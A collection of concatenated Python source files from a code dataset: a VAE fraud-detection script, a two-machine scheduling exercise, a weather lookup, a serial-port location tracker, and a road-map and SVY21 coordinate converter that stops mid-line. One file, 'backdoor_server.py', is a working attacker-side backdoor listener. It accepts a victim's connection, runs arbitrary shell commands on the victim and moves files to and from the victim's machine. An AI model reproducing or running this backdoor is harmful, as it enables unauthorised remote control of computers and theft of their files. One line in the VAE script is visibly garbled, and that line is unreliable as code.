pred_test_y_whole)\n\n performance_scores.append({\n 'auc_pr': auc_pr,\n 'auc_pr_whole': auc_pr_whole\n })\n\n print(f'[Iteration {i + 1}/{NUM_TESTS}] AUC-PR: {auc_pr:0.4f} whole: {auc_pr_whole:0.4f}')\n\n auc_pr_scores = [score['auc_pr'] for score in performance_scores]\n mean_auc_pr = np.mean(auc_pr_scores)\n auc_pr_std = np.std(auc_pr_scores)\n\n auc_pr_scores_whole = [score['auc_pr_whole'] for score in performance_scores]\n mean_auc_pr_whole = np.mean(auc_pr_scores_whole)\n auc_pr_std_whole = np.std(auc_pr_scores_whole)\n\n print(f'avg AUC-PR: {mean_auc_pr} (\\u00B1{auc_pr_std}) whole: {mean_auc_pr_whole} (\\u00B1{auc_pr_std_whole})')\n\n\ndef main_gen():\n encoder, decoder, vae = build_model()\n\n train_x, train_y, test_x, test_y = build_dataset('../data/old/creditcard_train.csv', '../data/old/creditcard_test.csv',\n 'standard')\n\n pind = np.argwhere(train_y)\n train_x_pos = np.squeeze(train_x[pind], axis=1)\n\n print(f'{len(train_x)} - {len(train_x_pos)}')\n print(train_x_pos.shape)\n\n tb_callback = TensorBoard(log_dir='logdef generate_sample(self, n=1):s/', batch_size=1)\n # es_callback = EarlyStopping(monitor='val_loss', patience=5)\n # mc_callback = ModelCheckpoint('models/vae.h5', save_best_only=True, save_weights_only=False)\n rlr_callback = ReduceLROnPlateau(monitor='val_loss', factor=0.5, patience=2, min_lr=1e-6)\n\n # train_x_neg = train_x[train_y==0]\n # res_x_pos = train_x[train_y==1]\n vae.fit(train_x_pos, train_x_pos,\n # validation_data=(test_x, test_x),\n batch_size=BATCH_SIZE,\n epochs=EPOCHS,\n callbacks=[tb_callback, rlr_callback])#, mc_callback, es_callback])\n\n # vae.save_weights('models/wamvae'+str(LATENT_DIM)+'.h5')\n # encoder.save_weights('models/wamencoder'+str(LATENT_DIM)+'.h5')\n decoder.save_weights('models/POSdecoder' + str(LATENT_DIM) + '.h5')\n\n for n in [500, 1000, 5000, 10000]:\n latent_sample = np.random.normal(0, 1, (n, LATENT_DIM))\n\n generated_samples = pd.DataFrame(decoder.predict(latent_sample),\n columns=['V1', 'V2', 'V3', 'V4', 'V5', 'V6', 'V7', 'V8', 'V9', 'V10', 'V11',\n 'V12', 'V13', 'V14', 'V15', 'V16', 'V17', 'V18', 'V19', 'V20', 'V21',\n 'V22', 'V23', 'V24', 'V25', 'V26', 'V27', 'V28'])\n\n print(generated_samples.size)\n\n generated_samples.to_csv('../data/vae_frauds' + str(n) + '.csv', index=False)\n\n\ndef main():\n encoder, decoder, vae = build_model()\n\n train_x, train_y, test_x, test_y = build_dataset('../data/old/creditcard_train.csv', '../data/old/creditcard_test.csv',\n 'standard')\n\n pind = np.argwhere(train_y)\n train_x_pos = train_x[pind]\n\n print(f'{len(train_x)} - {len(train_x_pos)}')\n\n tb_callback = TensorBoard(log_dir='logs/', batch_size=1)\n es_callback = EarlyStopping(monitor='val_loss', patience=5)\n mc_callback = ModelCheckpoint('models/vae.h5', save_best_only=True, save_weights_only=False)\n rlr_callback = ReduceLROnPlateau(monitor='val_loss', factor=0.5, patience=2, min_lr=1e-6)\n\n train_x_neg = train_x[train_y==0]\n res_x_pos = train_x[train_y==1]\n vae.fit(train_x_neg, train_x_neg,\n validation_data=(test_x, test_x),\n batch_size=BATCH_SIZE,\n epochs=EPOCHS,\n callbacks=[tb_callback, mc_callback, rlr_callback, es_callback])\n\n # vae.save_weights('models/wamvae'+str(LATENT_DIM)+'.h5')\n # encoder.save_weights('models/wamencoder'+str(LATENT_DIM)+'.h5')\n # decoder.save_weights('models/POSdecoder'+str(LATENT_DIM)+'.h5')\n\n if LATENT_DIM == 2:\n embedding = encoder.predict(test_x)\n # res_embed = encoder.predict(res_x_pos)\n\n test_y = np.array(test_y)\n plt.scatter(embedding[0][:,0][test_y==0], embedding[0][:,1][test_y == 0], c='b', s=5)\n plt.scatter(embedding[0][:,0][test_y==1], embedding[0][:,1][test_y==1], c='r', s=5)\n # plt.scatter(res_embed[0][:,0], res_embed[0][:,1], c='y', marker='x', alpha=0.5, s=10)\n\n plt.show()\n\n plt.clf()\n\n ev = vae.predict(test_x,batch_size=1)\n ev_res = vae.predict(res_x_pos,batch_size=1)\n losses = np.mean((ev - test_x)*(ev - test_x),axis=1)\n losses_res = np.mean((ev_res - res_x_pos)*(ev_res - res_x_pos),axis=1)\n\n pind = np.argwhere(test_y)\n nind = np.argwhere(test_y==0)\n\n plt.scatter(nind, losses[nind], c='b', s=5)\n plt.scatter(np.linspace(0,70000,len(losses_res)), losses_res, c='r', s=5)\n plt.scatter(pind, losses[pind], c='r', s=5)\n\n plt.show()\n\n losses_pred = np.append(losses,losses_res)\n losses_res_y = np.ones(losses_res.shape)\n # print(f'test_y: {test_y.shape}\\nlosses_res_y: {losses_res_y.shape}')\n classes = np.append(test_y,losses_res_y)\n\n print(f'losses_pred: {losses_pred.shape}\\nclasses: {classes.shape}')\n\n # losses_pred_normalized = normalizer.fit_transform(X=losses_pred.reshape(-1,1))\n auc_pr = average_precision_score(classes, losses_pred)\n # auc_pr_n = average_precision_score(classes, losses_pred_normalized)\n # auc_pr = average_precision_score(test_y, losses)\n\n print(f'AUC_PR: {auc_pr}')\n\nif __name__ == '__main__':\n main()\n # main_hybrid()\n # main_gen()","sub_path":"scripts/vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":8931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"551474064","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# 问题:独立任务最优调度,又称双机调度问题:用两台处理机A和B处理n个作业。设第i个作业交给机器A处理时所需要的时间是a[i],若由机器B来处理,则所需要的时间是b[i]。现在要求每个作业只能由一台机器处理,每台机器都不能同时处理两个作业。设计一个动态规划算法,使得这两台机器处理完这n个作业的时间最短(从任何一台机器开工到最后一台机器停工的总的时间)。\n# 研究一个实例:\n# n=6\n# a = {2, 5, 7, 10, 5, 2};\n# b = {3, 8, 4, 11, 3, 4}.\ndef solution():\n a = [0, 2, 5, 7, 10, 5, 2]\n b = [0, 3, 8, 4, 11, 3, 4]\n pa,pb = [0],[0]\n la,lb=[],[]\n for i in range(1,len(a)):\n if a[i]+pa[len(pa)-1]>b[i]+pb[len(pb)-1]:\n pb.append(b[i]+pb[len(pb)-1])\n lb.append(i)\n else:\n pa.append(a[i]+pa[len(pa)-1])\n la.append(i)\n return max(pa[len(pa)-1],pb[len(pb)-1]),la,lb\nif __name__ == '__main__':\n print(solution())","sub_path":"算法/动态规划/双机调度问题.py","file_name":"双机调度问题.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"323989554","text":"import socket\nimport argparse\nfrom termcolor import cprint, colored\nimport threading\nimport os\n\nclass Listener:\n '''\n Listener of Backdoor run on the attacker machine.\n\n Args:\n port (int): Port number on which Listener will work\n\n Returns:\n client_sd (socket.socket): Socket descriptor for communication \n with the remote victim\n\n workin_dir (str): Working dir of the backdoor on the victim side\n '''\n\n def __init__(self, port):\n #Create TCP socket\n sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n #Address of the server backdoor\n sd.bind(('', port))\n #Listening queue\n sd.listen(10)\n #Waiting for requests\n self.client_sd, self.client_address = sd.accept() \n #Working dir on windows\n self.client_sd.send(b'cd\\r\\n')\n #Read the working dir on remote victim\n size = self.read_until_CRLF()\n self.working_dir = self.client_sd.recv(int(size)).decode('utf-8','ignore').replace('\\n','')\n self.working_dir = self.working_dir.replace('\\r','')\n\n\n def read_until_CRLF(self):\n '''\n Read message until \\r\\n\n\n Args:\n msg (str): Message read until \\r\\n\n\n Returns:\n msg (str): Message read without \\r\\n\n '''\n\n size = ''\n \n while True:\n size += self.client_sd.recv(1).decode('utf-8','ignore')\n\n if size.endswith('\\r\\n'):\n break\n\n return size[:-2]\n\n\n def send_file(self, path):\n '''\n Send a file from the attacker to the victim machine.\n\n Args:\n path (str): Path of the file on the attacker machine \n that the attacker wants to send to the \n victim machine\n '''\n\n if os.path.exists(path) and os.path.isfile(path):\n #If the file exists, send it to the remote victim machine\n with open(path, 'rb') as f:\n f_bytes = f.read()\n self.client_sd.send(f'{len(f_bytes)}\\r\\n'.encode()+f_bytes)\n else:\n print(f'File {path} not found')\n self.client_sd.send(b'0\\r\\n')\n\n\n def receive_file(self, size, name):\n '''\n Receive a file from the remote victim machine.\n\n Args:\n size (int): Size of the file\n\n name (str): Name of the file\n '''\n\n #Receive the file from the victim\n file_bytes = self.client_sd.recv(size)\n \n #Store it on the attacker machine\n with open(name, 'wb') as f:\n f.write(file_bytes)\n\n\n def run(self):\n '''\n Execute the backdoor.\n '''\n \n while True:\n command = input(self.working_dir+'>> ')\n cmd_list = command.split(' ')\n self.client_sd.send((command+'\\r\\n').encode())\n\n if cmd_list[0]!='up':\n #Read size of the result message\n #(if no upload command done)\n size = self.read_until_CRLF()\n\n if cmd_list[0]=='cd' and len(cmd_list)>1:\n #Change directory\n self.working_dir = self.read_until_CRLF()\n \n elif cmd_list[0]=='down' and len(cmd_list)>1:\n #Download a file from the remote victim machine\n #on the attacker machine\n if int(size) == 0:\n print('No file download/found')\n else:\n head, tail = os.path.split(cmd_list[1])\n self.receive_file(int(size), tail)\n\n elif cmd_list[0]=='up' and len(cmd_list)>1:\n #Upload a file of the attacker machine \n #on the remote victim machine\n self.send_file(cmd_list[1])\n\n if cmd_list[0]!='down' and cmd_list[0]!='up':\n #Print result of the terminal command executed \n #on the victim machine\n result = self.client_sd.recv(int(size)).decode('utf-8','ignore')\n print(result)\n\n\nclass NoPortSpecified(Exception):\n '''\n Error raised if the user doesn't specify a valid gateway IP address\n '''\n \n pass\n\n\ndef args_parser():\n '''\n Parser of command line arguments\n '''\n\n #Parser of command line arguments\n parser = argparse.ArgumentParser()\n #Initialization of needed arguments\n parser.add_argument(\"-port\", \"-p\", dest=\"port\", help=\"Port number of the hacker\")\n #Parse command line arguments\n args = parser.parse_args()\n \n #Check if the arguments have been specified on command line\n try:\n if not args.port:\n raise NoPortSpecified\n \n cprint('Port: ', 'green', attrs=['bold',], end='')\n print(f'{args.port}', end='\\n\\n')\n\n except NoPortSpecified as e :\n parser.print_help()\n exit(0)\n\n return int(args.port)\n\n\ndef main():\n port = args_parser()\n server = Listener(port)\n server.run()\n\n\nif __name__=='__main__':\n main()","sub_path":"Hacking/backdoor/backdoor_server.py","file_name":"backdoor_server.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"240249488","text":"import requests, json\n\n#api地址\nurl = 'http://t.weather.itboy.net/api/weather/city/'\n\n#输入城市中文\ncity = input(\"请输入你要查询的城市:\")\n\n#读取json文件\nf = open('city.json', 'rb')\n\n#使用json模块的load方法加载json数据,返回一个字典\ncities = json.load(f)\n\n#通过城市的中文获取城市代码\ncity = cities.get(city)\n\n#网络请求,传入请求api+城市代码\nresponse = requests.get(url + city)\n\n#将数据以json形式返回,这个d就是返回的json数据\nd = response.json()\n\n#当返回状态码为200,输出天气状况\nif(d['status'] == 200):\n print(\"城市:\", d[\"cityInfo\"][\"parent\"], d[\"cityInfo\"][\"city\"])\n print(\"时间:\", d[\"time\"], d[\"data\"][\"forecast\"][0][\"week\"])\n print(\"温度:\", d[\"data\"][\"forecast\"][0][\"high\"], d[\"data\"][\"forecast\"][0][\"low\"])\n print(\"天气:\", d[\"data\"][\"forecast\"][0][\"type\"])\n","sub_path":"weather/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368006022","text":"# import tkinter \n# import random, serial\nfrom tkinter import *\nimport random, serial, os\n\n# Dimensions of tkinter canvas\nC_HEIGHT = 800\nC_WIDTH = 1000\n\n# Dimensions of the room\nROOM_HEIGHT = 1900\nROOM_WIDTH = 1057\n\n# Dimensions of one of the inaccessible areas\nAREA_A_HEIGHT = 280\nAREA_A_WIDTH = 328\n\n# Dimensions of the second inaccessible area\nAREA_B_HEIGHT = 1596\nAREA_B_WIDTH = 750\n\n# Scale factor is how much we're scaling down the real space by\n# Pixel offset is how many pixels are we offset from the origin \n# Beacon size is how big the beacons are in size \nSCALE_FACTOR = 3\nPIXEL_OFFSET = 20\nBEACON_SIZE = 10\n\n# If file exists then delete it since we want to append\nif os.path.isfile('locationHistory.txt'):\n os.remove('locationHistory.txt')\n\n# Get the list of beacon locations\ncoordinate_file = open('coordinates.txt', 'r')\ncoordinate_file_lines = coordinate_file.read().splitlines()\ncoordinate_file.close()\ncoordinate_file_lines = list(map(int, coordinate_file_lines))\n\nlocation_file = open('locationHistory.txt', 'a+')\n\n# Creating the tkinter object\nroot = Tk()\nroot.title('Location Tracker')\nroot.geometry('1000x800')\n\n# Creating the canvas\ncanvas = Canvas(root, bg='white', height = C_HEIGHT, width = C_WIDTH)\ncanvas.pack()\n\n# Draw room \ncanvas.create_rectangle(PIXEL_OFFSET, PIXEL_OFFSET, (ROOM_WIDTH/SCALE_FACTOR) + PIXEL_OFFSET, (ROOM_HEIGHT/SCALE_FACTOR) + PIXEL_OFFSET)\n\n# Two inaccessible areas\ncanvas.create_rectangle((AREA_A_WIDTH/SCALE_FACTOR)+PIXEL_OFFSET, (0/SCALE_FACTOR) + PIXEL_OFFSET, (ROOM_WIDTH/SCALE_FACTOR) + PIXEL_OFFSET, (AREA_A_HEIGHT/SCALE_FACTOR) + PIXEL_OFFSET, fill='#c8cbd1')\ncanvas.create_rectangle((AREA_B_WIDTH/SCALE_FACTOR) + PIXEL_OFFSET, (AREA_B_HEIGHT/SCALE_FACTOR) + PIXEL_OFFSET, (ROOM_WIDTH/SCALE_FACTOR) + PIXEL_OFFSET, (ROOM_HEIGHT/SCALE_FACTOR) + PIXEL_OFFSET, fill='#c8cbd1')\n\n# Spawn beacons\nfor i in range(20):\n beacon = canvas.create_rectangle(PIXEL_OFFSET, PIXEL_OFFSET, PIXEL_OFFSET+BEACON_SIZE, PIXEL_OFFSET+BEACON_SIZE, fill='green') \n canvas.coords(beacon, (coordinate_file_lines[i]/SCALE_FACTOR) + PIXEL_OFFSET, (coordinate_file_lines[i+20]/SCALE_FACTOR) + PIXEL_OFFSET, ((coordinate_file_lines[i]+BEACON_SIZE)/SCALE_FACTOR) + PIXEL_OFFSET, ((coordinate_file_lines[i+20] + BEACON_SIZE)/SCALE_FACTOR) + PIXEL_OFFSET)\n\n# Draw person object\nperson_object = canvas.create_oval(5 + PIXEL_OFFSET, 5 + PIXEL_OFFSET, 10 + PIXEL_OFFSET, 10 + PIXEL_OFFSET, fill='red')\n\ndef update():\n # Open a serial connection at COM3 with baudrate of 115200\n # Wait until we receive the ascii code of 77, as that means the first letter is M\n #\n # When the first letter is M, it is printing out: MOBILE STATION P00000X00000Y\n # We need to extract the x and y coordinates, however, when we use indexing, it returns ascii code.\n # Therefore, we have to convert from ascii to character.\n #\n # The count variable is there so it doesn't stop counting indefinitely, we only want the latest reading\n # when this is called.\n #\n # The COM number will have to probably change when this is run on a different computer. Please read the README for\n # more instructions\n with serial.Serial('COM3', 115200) as ser:\n count = 0\n for line in ser:\n if count == 1:\n break\n if line[0] == 77: # Ascii code for 'M'\n x_coordinate_str = chr(line[17]) + chr(line[18]) + chr(line[19]) + chr(line[20]) + chr(line[21])\n y_coordinate_str = chr(line[23]) + chr(line[24]) + chr(line[25]) + chr(line[26]) + chr(line[27])\n \n x_coordinate_int = int(x_coordinate_str)*50\n y_coordinate_int = int(y_coordinate_str)*50\n\n count = count + 1\n\n # Set the new_x and new_y positions to the coordinates received from the serial data\n new_x = x_coordinate_int\n new_y = y_coordinate_int\n\n # Move the person object to the new coordinates\n canvas.coords(person_object, (new_x + PIXEL_OFFSET), (new_y + PIXEL_OFFSET), (new_x + 5 + PIXEL_OFFSET), (new_y + 5 + PIXEL_OFFSET))\n\n # Delete previously written text and create new one with updated coordinates\n canvas.delete('deleteMeX')\n canvas.create_text(500, 100, font='50', text='X: ' + str(new_x), tag='deleteMeX')\n canvas.create_text(500, 120, font='50', text='Y: ' + str(new_y), tag='deleteMeX')\n\n # Write the current x and y coordinates to the locationHistory.txt file\n location_file.write('X: ' + str(new_x) + ' Y: ' + str(new_y) + '\\n')\n\n # Call this function every second\n root.after(1000, update)\n\n# Start the mainloop for tkinter\nroot.after(0, update)\nroot.mainloop()\n\n# Once we close the tkinter window, this will close the locationHistory.txt file\nlocation_file.close()","sub_path":"pythonGUI/pythonGUI.py","file_name":"pythonGUI.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"149446624","text":"#!/usr/bin/env python\n \nimport math\nimport numpy as np\nimport cPickle as pickle\nimport pyproj\nfrom scipy.spatial import KDTree, minkowski_distance\n\nSTK = [1.339549, 103.712311] # lat long\nSAME_POINT_THRESHOLD = 1e-3 # threshold for distance between points for it to be considered a meeting point between roads\n\nclass Traffic(object):\n\n def __init__(self):\n\n self.cvtr = SVY21()\n self.ll2utm = pyproj.Proj(proj='utm', zone=48, ellps='WGS84')\n\n try:\n with open('/media/sunardi/5c4c121b-5f45-4689-b8c3-f44b3e5ef4da/ruihan/gps/python/gps/maps/roads2.pkl', 'rb') as fp:\n self.roads = pickle.load(fp)\n print(\"successfully load the road\")\n # with open('maps/lanes.p', 'rb') as fp:\n # self.lanes = pickle.load(fp)\n # with open('maps/tlights.p', 'rb') as fp:\n # self.tlights = pickle.load(fp)\n # with open('maps/tsigns.p', 'rb') as fp:\n # self.tsigns = pickle.load(fp)\n # except FileNotFoundError:\n except IOError as e:\n print('Pickle files not found.')\n print('Please initialize by running traffic main file.')\n return\n\n def create_tree(lines):\n idxs = []\n points = []\n for i in range(len(lines)):\n for j in range(len(lines[i])):\n idxs.append((i,j))\n points.append((lines[i][j][0], lines[i][j][1]))\n tree = KDTree(points)\n tree.idxs = idxs\n return tree\n \n self.roads_tree = create_tree(self.roads)\n # self.lanes_tree = create_tree(self.lanes)\n # self.tlights_tree = KDTree(self.tlights)\n\n # TODO use hough transform to store lanes and roads data so that which lanes correspond to the same road can be found\n\n def randomRoute(self, dist=1000, np_random=None):\n # pick random road as center and pick goal a certain distance away\n if np_random is None: np_random = np.random.RandomState()\n\n # keep looping until full route found\n while True:\n idx = np_random.randint(self.roads_tree.n)\n if self.roads_tree.idxs[idx][1] == 0: idx_dir = +1\n elif idx+1 == self.roads_tree.n or self.roads_tree.idxs[idx+1][1] == 0: idx_dir = -1\n else: idx_dir = np_random.choice([-1,+1])\n\n route = [ self.roads_tree.data[idx].copy() ]\n route_idxs = [ idx ]\n route_dist = 0 \n while route_dist < dist:\n if idx+idx_dir >= 0 and idx+idx_dir < self.roads_tree.n and self.roads_tree.idxs[idx+idx_dir][0] == self.roads_tree.idxs[idx][0]:\n next_idx = idx + idx_dir\n dist_to_next = minkowski_distance(self.roads_tree.data[idx],self.roads_tree.data[next_idx])\n else:\n neighbors = self.roads_tree.query(self.roads_tree.data[idx],k=4)\n intersect = list(np.where(neighbors[0]<=SAME_POINT_THRESHOLD,1,0))\n idxs = list(neighbors[1])\n removes = [idx_ for idx_, intersect_ in zip(idxs,intersect) if intersect_ == 0 or idx_ == idx or idx_ in route_idxs]\n for i in removes: idxs.remove(i)\n if len(idxs) == 0: route_dist = -1\n else:\n next_idx = np_random.choice(idxs)\n i = list(neighbors[1]).index(next_idx)\n dist_to_next = neighbors[0][i]\n if self.roads_tree.idxs[next_idx][1] == 0: idx_dir = +1\n elif next_idx+1 == self.roads_tree.n or self.roads_tree.idxs[next_idx+1][1] == 0: idx_dir = -1\n else: idx_dir = np.random.choice([-1,+1])\n\n if route_dist < 0: break\n route.append(self.roads_tree.data[next_idx].copy())\n route_idxs.append(next_idx)\n route_dist += dist_to_next\n idx = next_idx\n \n if route_dist < 0: continue\n else: break\n \n roads_idxs = []\n self.cropped_roads = []\n for idx in route_idxs:\n road_no = self.roads_tree.idxs[idx][0]\n if road_no not in roads_idxs:\n roads_idxs.append( road_no )\n self.cropped_roads.append(self.roads[road_no])\n\n # print(\"route generated by randomRoute\")\n # print(route)\n return route\n\n\n def cropMap(self, center=None, radius=500):\n \n if center is None:\n center = STK\n self.center_ll = (center[0], center[1])\n self.center_svy = self.cvtr.computeSVY21(center[0], center[1])\n self.center_utm = self.ll2utm(center[1], center[0])\n else:\n self.center_utm = center\n\n cropped_roads_idxs = self.roads_tree.query_ball_point(self.center_utm, 2*radius, p=1)\n self.cropped_roads = []\n roads_idxs = []\n for idx in cropped_roads_idxs:\n road_no = self.roads_tree.idxs[idx][0]\n if road_no not in roads_idxs:\n roads_idxs.append( road_no )\n self.cropped_roads.append(self.roads[road_no])\n\n # self.cropped_lanes = self.lanes_tree.query_ball_point(self.center_utm, radius)\n # self.cropped_tlights = self.tlights_tree.query_ball_point(self.center_utm, radius)\n \n def loadShapes(self):\n\n self.tlights_shp = 'maps/GEOSPATIAL/TrafficLight_May2017/TrafficSignalAspect.shp'\n self.tsigns_shp = 'maps/GEOSPATIAL/TrafficSign_May2017/TrafficSign.shp'\n self.lanes_shp ='maps/GEOSPATIAL/LaneMarking_May2017/LaneMarking.shp'\n self.footpath_shp ='maps/GEOSPATIAL/Footpath_May2017/Footpath.shp'\n self.roads_shp = 'maps/GEOSPATIAL/RoadSectionLine_May2017/RoadSectionLine.shp'\n\n print(\"......loading.......\")\n\n self.tlights = self.loadPoints(self.tlights_shp)\n with open('maps/tlights.p', 'wb') as fp:\n pickle.dump(self.tlights, fp)\n\n self.tsigns = self.loadPoints(self.tsigns_shp)\n with open('maps/tsigns.p', 'wb') as fp:\n pickle.dump(self.tsigns, fp)\n\n self.lanes = self.loadLines(self.lanes_shp)\n self.lanes = self.lanes + self.loadLines(self.footpath_shp)\n with open('maps/lanes.p', 'wb') as fp:\n pickle.dump(self.lanes, fp)\n\n self.roads = self.loadLines(self.roads_shp)\n with open('maps/roads.p', 'wb') as fp:\n pickle.dump(self.roads, fp)\n\n print(\"......initialized.......\")\n\n def loadLines(self, shapefile):\n source_ds = ogr.Open(shapefile)\n layer = source_ds.GetLayer()\n lines_utm = []\n feat = layer.GetNextFeature()\n while feat is not None:\n geom = feat.GetGeometryRef()\n if geom is None:\n feat = layer.GetNextFeature()\n continue\n if geom.GetGeometryName() == 'LINESTRING':\n points = geom.GetPoints()\n elif geom.GetGeometryName() == 'MULTILINESTRING':\n points = []\n for line in geom:\n points.extend(line.GetPoints())\n points_utm = []\n for point in points:\n E = float(point[0])\n N = float(point[1])\n points_utm.append(self.svy2utm((E,N)))\n lines_utm.append(points_utm)\n feat = layer.GetNextFeature()\n return lines_utm\n \n def loadPoints(self, shapefile):\n source_ds = ogr.Open(shapefile)\n layer = source_ds.GetLayer()\n points_utm = []\n feat = layer.GetNextFeature()\n while feat is not None:\n geom = feat.GetGeometryRef()\n if geom is None:\n feat = layer.GetNextFeature()\n break\n E = float(geom.GetPoint()[0])\n N = float(geom.GetPoint()[1])\n points_utm.append(self.svy2utm((E, N)))\n feat = layer.GetNextFeature()\n return points_utm\n\n def svy2utm(self, EN):\n lat, lon = self.cvtr.computeLatLon(EN[1], EN[0])\n x,y = self.ll2utm(lon, lat)\n return [x, y]\n\n\nclass SVY21:\n # Ref: http://www.linz.govt.nz/geodetic/conversion-coordinates/projection-conversions/transverse-mercator-preliminary-computations/index.aspx\n \n # WGS84 Datum\n a = 6378137\n f = 1 / 298.257223563\n\n # SVY21 Projection\n # Fundamental point: Base 7 at Pierce Resevoir.\n # Latitude: 1 22 02.9154 N, longitude: 103 49 31.9752 E (of Greenwich).\n\n # Known Issue: Setting (oLat, oLon) to the exact coordinates specified above\n # results in computation being slightly off. The values below give the most \n # accurate represenation of test data.\n oLat = 1.366666 # origin's lat in degrees\n oLon = 103.833333 # origin's lon in degrees\n oN = 38744.572 # false Northing\n oE = 28001.642 # false Easting\n k = 1 # scale factor\n\n #\n def __init__(self):\n self.b = self.a * (1 - self.f)\n self.e2 = (2 * self.f) - (self.f * self.f)\n self.e4 = self.e2 * self.e2\n self.e6 = self.e4 * self.e2\n self.A0 = 1 - (self.e2 / 4) - (3 * self.e4 / 64) - (5 * self.e6 / 256);\n self.A2 = (3. / 8.) * (self.e2 + (self.e4 / 4) + (15 * self.e6 / 128));\n self.A4 = (15. / 256.) * (self.e4 + (3 * self.e6 / 4));\n self.A6 = 35 * self.e6 / 3072;\n\n def computeSVY21(self, lat, lon):\n \"\"\"\n Returns a pair (N, E) representing Northings and Eastings in SVY21.\n \"\"\"\n\n latR = lat * math.pi / 180\n sinLat = math.sin(latR)\n sin2Lat = sinLat * sinLat\n cosLat = math.cos(latR)\n cos2Lat = cosLat * cosLat\n cos3Lat = cos2Lat * cosLat\n cos4Lat = cos3Lat * cosLat\n cos5Lat = cos4Lat * cosLat\n cos6Lat = cos5Lat * cosLat\n cos7Lat = cos6Lat * cosLat\n\n rho = self.calcRho(sin2Lat)\n v = self.calcV(sin2Lat)\n psi = v / rho\n t = math.tan(latR)\n w = (lon - self.oLon) * math.pi / 180\n\n M = self.calcM(lat)\n Mo = self.calcM(self.oLat)\n\n w2 = w * w\n w4 = w2 * w2\n w6 = w4 * w2\n w8 = w6 * w2\n\n psi2 = psi * psi\n psi3 = psi2 * psi\n psi4 = psi3 * psi\n\n t2 = t * t\n t4 = t2 * t2\n t6 = t4 * t2\n\n # Compute Northing\n nTerm1 = w2 / 2 * v * sinLat * cosLat\n nTerm2 = w4 / 24 * v * sinLat * cos3Lat * (4 * psi2 + psi - t2)\n nTerm3 = w6 / 720 * v * sinLat * cos5Lat * ((8 * psi4) * (11 - 24 * t2) - (28 * psi3) * (1 - 6 * t2) + psi2 * (1 - 32 * t2) - psi * 2 * t2 + t4)\n nTerm4 = w8 / 40320 * v * sinLat * cos7Lat * (1385 - 3111 * t2 + 543 * t4 - t6)\n N = self.oN + self.k * (M - Mo + nTerm1 + nTerm2 + nTerm3 + nTerm4)\n\n # Compute Easting\n eTerm1 = w2 / 6 * cos2Lat * (psi - t2)\n eTerm2 = w4 / 120 * cos4Lat * ((4 * psi3) * (1 - 6 * t2) + psi2 * (1 + 8 * t2) - psi * 2 * t2 + t4)\n eTerm3 = w6 / 5040 * cos6Lat * (61 - 479 * t2 + 179 * t4 - t6)\n E = self.oE + self.k * v * w * cosLat * (1 + eTerm1 + eTerm2 + eTerm3)\n\n return (N, E)\n\n def calcM(self, lat):\n latR = lat * math.pi / 180\n return self.a * ((self.A0 * latR) - (self.A2 * math.sin(2 * latR)) + (self.A4 * math.sin(4 * latR)) - (self.A6 * math.sin(6 * latR)))\n\n def calcRho(self, sin2Lat):\n num = self.a * (1 - self.e2)\n denom = math.pow(1 - self.e2 * sin2Lat, 3. / 2.)\n return num / denom\n\n def calcV(self, sin2Lat):\n poly = 1 - self.e2 * sin2Lat\n return self.a / math.sqrt(poly)\n\n def computeLatLon(self, N, E):\n \"\"\"\n Returns a pair (lat, lon) representing Latitude and Longitude.\n \"\"\"\n\n Nprime = N - self.oN\n Mo = self.calcM(self.oLat)\n Mprime = Mo + (Nprime / self.k)\n n = (self.a - self.b) / (self.a + self.b)\n n2 = n * n\n n3 = n2 * n\n n4 = n2 * n2\n G = self.a * (1 - n) * (1 - n2) * (1 + (9 * n2 / 4) + (225 * n4 / 64)) * (math.pi / 180)\n sigma = (Mprime * math.pi) / (180. * G)\n \n latPrimeT1 = ((3 * n / 2) - (27 * n3 / 32)) * math.sin(2 * sigma)\n latPrimeT2 = ((21 * n2 / 16) - (55 * n4 / 32)) * math.sin(4 * sigma)\n latPrimeT3 = (151 * n3 / 96) * math.sin(6 * sigma)\n latPrimeT4 = (1097 * n4 / 512) * math.sin(8 * sigma)\n latPrime = sigma + latPrimeT1 + latPrimeT2 + latPrimeT3 + latPrimeT4\n\n sinLatPrime = math.sin(latPrime)\n sin2LatPrime = sinLatPrime * sinLatPrime\n\n rhoPrime = self.calcRho(sin2LatPrime)\n vPrime = self.calcV(sin2LatPrime)\n psiPrime = vPrime / rhoPrime\n psiPrime2 = psiPrime * psiPrime\n psiPrime3 = psiPrime2 * psiPrime\n psiPrime4 = psiPrime3 * psiPrime\n tPrime = math.tan(latPrime)\n tPrime2 = tPrime * tPrime\n tPrime4 = tPrime2 * tPrime2\n tPrime6 = tPrime4 * tPrime2\n Eprime = E - self.oE\n x = Eprime / (self.k * vPrime)\n x2 = x * x\n x3 = x2 * x\n x5 = x3 * x2\n x7 = x5 * x2\n\n # Compute Latitude\n latFactor = tPrime / (self.k * rhoPrime)\n latTerm1 = latFactor * ((Eprime * x) / 2)\n latTerm2 = latFactor * ((Eprime * x3) / 24) * ((-4 * psiPrime2) + (9 * psiPrime) * (1 - tPrime2) + (12 * tPrime2))\n latTerm3 = latFactor * ((Eprime * x5) / 720) * ((8 * psiPrime4) * (11 - 24 * tPrime2) - (12 * psiPrime3) * (21 - 71 * tPrime2) + (15 * psiPrime2) * (15 - 98 * tPrime2 + 15 * tPrime4) + (180 * psiPrime) * (5 * tPrime2 - 3 * tPrime4) + 360 * tPrime4)\n latTerm4 = latFactor * ((Eprime * x7) / 40320) * (1385 - 3633 * tPrime2 + 4095 * tPrime4 + 1575 * tPrime6)\n lat = latPrime - latTerm1 + latTerm2 - latTerm3 + latTerm4\n\n # Compute Longitude\n secLatPrime = 1. / math.cos(lat)\n lonTerm1 = x * secLatPrime\n lonTerm2 = ((x3 * secLatPrime) / 